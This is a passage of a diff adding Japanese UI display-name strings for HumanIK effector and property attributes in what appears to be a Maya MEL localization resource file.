"LeftHandRingEffectorpivotOffsetX", "左手薬指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffsetY", "左手薬指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffsetZ", "左手薬指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorGX", "左手小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorGXM", "左手小指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffset", "左手小指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetX", "左手小指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetY", "左手小指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetZ", "左手小指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorGX", "左手追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorGXM", "左手追加指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffset", "左手追加指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetX", "左手追加指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetY", "左手追加指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetZ", "左手追加指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorGX", "右手親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorGXM", "右手親指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffset", "右手親指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetX", "右手親指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetY", "右手親指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetZ", "右手親指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorGX", "右手人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorGXM", "右手人差指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffset", "右手人差指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetX", "右手人差指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetY", "右手人差指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetZ", "右手人差指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorGX", "右手中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorGXM", "右手中指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffset", "右手中指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetX", "右手中指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetY", "右手中指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetZ", "右手中指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorGX", "右手薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorGXM", "右手薬指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffset", "右手薬指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetX", "右手薬指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetY", "右手薬指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetZ", "右手薬指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorGX", "右手小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorGXM", "右手小指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffset", "右手小指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetX", "右手小指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetY", "右手小指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetZ", "右手小指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorGX", "右手追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorGXM", "右手追加指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffset", "右手追加指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetX", "右手追加指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetY", "右手追加指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetZ", "右手追加指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorGX", "左足親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorGXM", "左足親指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffset", "左足親指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetX", "左足親指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetY", "左足親指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetZ", "左足親指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorGX", "左足人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorGXM", "左足人差指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffset", "左足人差指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetX", "左足人差指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetY", "左足人差指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetZ", "左足人差指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorGX", "左足中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorGXM", "左足中指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffset", "左足中指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetX", "左足中指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetY", "左足中指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetZ", "左足中指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorGX", "左足薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorGXM", "左足薬指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffset", "左足薬指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetX", "左足薬指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetY", "左足薬指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetZ", "左足薬指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorGX", "左足小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorGXM", "左足小指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffset", "左足小指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetX", "左足小指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetY", "左足小指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetZ", "左足小指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorGX", "左足追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorGXM", "左足追加指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffset", "左足追加指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetX", "左足追加指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetY", "左足追加指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetZ", "左足追加指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorGX", "右足親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorGXM", "右足親指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffset", "右足親指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetX", "右足親指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetY", "右足親指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetZ", "右足親指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorGX", "右足人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorGXM", "右足人差指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffset", "右足人差指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetX", "右足人差指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetY", "右足人差指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetZ", "右足人差指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorGX", "右足中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorGXM", "右足中指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffset", "右足中指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetX", "右足中指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetY", "右足中指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetZ", "右足中指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorGX", "右足薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorGXM", "右足薬指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffset", "右足薬指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetX", "右足薬指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetY", "右足薬指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetZ", "右足薬指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorGX", "右足小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorGXM", "右足小指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffset", "右足小指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetX", "右足小指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetY", "右足小指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetZ", "右足小指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorGX", "右足追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorGXM", "右足追加指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffset", "右足追加指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetX", "右足追加指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetY", "右足追加指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetZ", "右足追加指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKProperty2State +// +setNodeNiceNameResource( "HIKProperty2State", "HIKProperty 2State" ); +setAttrNiceNameResource( "HIKProperty2State", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKProperty2State", "OutputPropertySetState", "出力プロパティ セットの状態" ); +setAttrNiceNameResource( "HIKProperty2State", "ra", "リグ アライン" ); +setAttrNiceNameResource( "HIKProperty2State", "lhr", "左ヒップのロール" ); +setAttrNiceNameResource( "HIKProperty2State", "lkr", "左膝のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "rhr", "右ヒップのロール" ); +setAttrNiceNameResource( "HIKProperty2State", "rkr", "右膝のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "lsr", "左肩のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "ler", "左肘のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "rsr", "右肩のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "rer", "右肘のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "ForceActorSpace", "アクター空間の強制" ); +setAttrNiceNameResource( "HIKProperty2State", "ScaleCompensationMode", "スケール補正モード" ); +setAttrNiceNameResource( "HIKProperty2State", "ScaleCompensation", "スケール補正" ); +setAttrNiceNameResource( "HIKProperty2State", "MassCenterCompensationMode", "重心補正モード" ); +setAttrNiceNameResource( "HIKProperty2State", "MassCenterCompensation", "重心補正" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleHeightCompensationMode", "足首の高さ補正モード" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleHeightCompensation", "足首の高さ補正" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleProximityCompensationMode", "足首の近接補正モード" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleProximityCompensation", "足首の近接補正" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsHeightCompensationMode", "ヒップの高さ補正モード" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsHeightCompensation", "ヒップの高さ補正" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftAnkle", "アクターの左足首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightAnkle", "アクターの右足首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorChest", "アクターの胸の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftWrist", "アクターの左手首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightWrist", "アクターの右手首の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftKnee", "アクターの左膝の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightKnee", "アクターの右膝の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorHead", "アクターの頭の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftElbow", "アクターの左肘の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightElbow", "アクターの右肘の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftAnkleRotationRotation", "アクターの左足首の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightAnkleRotation", "アクターの右足首の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorHeadRotation", "アクターの頭の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftWristRotation", "アクターの左手首の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightWristRotation", "アクターの右手首の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFingerBase", "アクターの左指のベースの達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFingerBase", "アクターの右指のベースの達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftToesBase", "アクターの左足指のベースの達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightToesBase", "アクターの右足指のベースの達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFingerBaseRotation", "アクターの左指のベースの回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFingerBaseRotation", "アクターの右指のベースの回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftToesBaseRotation", "アクターの左足指のベースの回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightToesBaseRotation", "アクターの右足指のベースの回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorChestRotation", "アクターの胸の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLowerChestRotation", "アクターの下胸部の回転の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandThumb", "アクターの左手親指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandIndex", "アクターの左手人差指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandMiddle", "アクターの左手中指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandRing", "アクターの左手薬指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandPinky", "アクターの左手小指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandExtraFinger", "アクターの左手追加指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandThumb", "アクターの右手親指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandIndex", "アクターの右手人差指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandMiddle", "アクターの右手中指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandRing", "アクターの右手薬指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandPinky", "アクターの右手小指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandExtraFinger", "アクターの右手追加指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootThumb", "アクターの左足親指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootIndex", "アクターの左足人差指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootMiddle", "アクターの左足中指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootRing", "アクターの左足薬指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootPinky", "アクターの左足小指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootExtraFinger", "アクターの左足追加指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootThumb", "アクターの右足親指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootIndex", "アクターの右足人差指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootMiddle", "アクターの右足中指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootRing", "アクターの右足薬指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootPinky", "アクターの右足小指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootExtraFinger", "アクターの右足追加指の達成度" ); +setAttrNiceNameResource( "HIKProperty2State", "FloorContact", "フロア コンタクト" ); +setAttrNiceNameResource( "HIKProperty2State", "FootBottomToAnkle", "足の裏から足首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "FootBackToAnkle", "足の後方から足首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "FootMiddleToAnkle", "足の中間部から足首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFrontToMiddle", "足の前部から中間部まで" ); +setAttrNiceNameResource( "HIKProperty2State", "FootInToAnkle", "足の内側から足首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "FootOutToAnkle", "足の外側から足首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFloorContact", "手のフロア コンタクト" ); +setAttrNiceNameResource( "HIKProperty2State", "HandBottomToWrist", "手の下部から手首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandBackToWrist", "手の後方から手首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandMiddleToWrist", "手の中間部から手首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFrontToMiddle", "手の前部から中間部まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandInToWrist", "手の内側から手首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandOutToWrist", "手の外側から手首まで" ); +setAttrNiceNameResource( "HIKProperty2State", "HandContactType", "手の接触タイプ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFingerContact", "手の指の接触" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFingerContactMode", "手の指の接触モード" ); +setAttrNiceNameResource( "HIKProperty2State", "FootContactType", "足の接触タイプ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFingerContact", "足の指の接触" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFingerContactMode", "足の指の接触モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRollMode", "左大腿部ロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRoll", "左大腿部ロール" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRollMode", "左脚ロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRoll", "左脚ロール" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRollMode", "右大腿部ロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRoll", "右大腿部ロール" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRollMode", "右脚ロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRoll", "右脚ロール" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRollMode", "左腕のロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRoll", "左腕のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRollMode", "左前腕のロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRoll", "左前腕のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRollMode", "右腕のロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRoll", "右腕のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRollMode", "右前腕のロール モード" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRoll", "右前腕のロール" ); +setAttrNiceNameResource( "HIKProperty2State", "Mirror", "ミラー" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftKneeKillPitch", "左膝のピッチ軸を無効" ); +setAttrNiceNameResource( "HIKProperty2State", "RightKneeKillPitch", "右膝のピッチ軸を無効" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftElbowKillPitch", "左肘のピッチ軸を無効" ); +setAttrNiceNameResource( "HIKProperty2State", "RightElbowKillPitch", "右肘のピッチ軸を無効" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftFoot", "左足引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightFoot", "右足引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftHand", "左手引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightHand", "右手引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullHead", "頭の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftToeBase", "左足指のベースの引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftKnee", "左膝の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightToeBase", "右足指のベースの引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightKnee", "右膝の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftFingerBase", "左指のベースの引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftElbow", "左肘の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightFingerBase", "右指のベースの引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightElbow", "右肘の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlChestPullLeftHand", "胸による左手の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlChestPullRightHand", "胸による右手の引き寄せコントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistHipsPosition", "ヒップの位置の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlEnforceGravity", "重力の強制コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistHipsOrientation", "ヒップの方向の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistChestPosition", "胸の位置の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistChestOrientation", "胸の方向の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftCollar", "左鎖骨の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightCollar", "右鎖骨の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftKnee", "左膝の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightKnee", "右膝の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftElbow", "左肘の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightElbow", "右肘の抵抗コントロール" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamCtrlSpineStiffness", "脊椎の固さコントロール パラメータ" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTOffsetX", "ヒップ T オフセット X" ); +setAttrNiceNameResource( 